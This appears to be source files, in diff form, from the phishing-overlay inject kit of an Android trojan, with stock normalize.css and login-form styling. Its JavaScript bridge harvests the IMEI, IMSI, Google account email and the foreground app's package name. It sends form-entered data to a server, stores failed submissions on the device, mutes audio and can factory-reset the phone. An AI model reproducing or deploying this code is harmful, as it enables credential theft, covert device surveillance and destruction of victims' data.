|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 14 KiB |
|
After Width: | Height: | Size: 14 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #FFFFFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #003883;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#103357;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 60px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
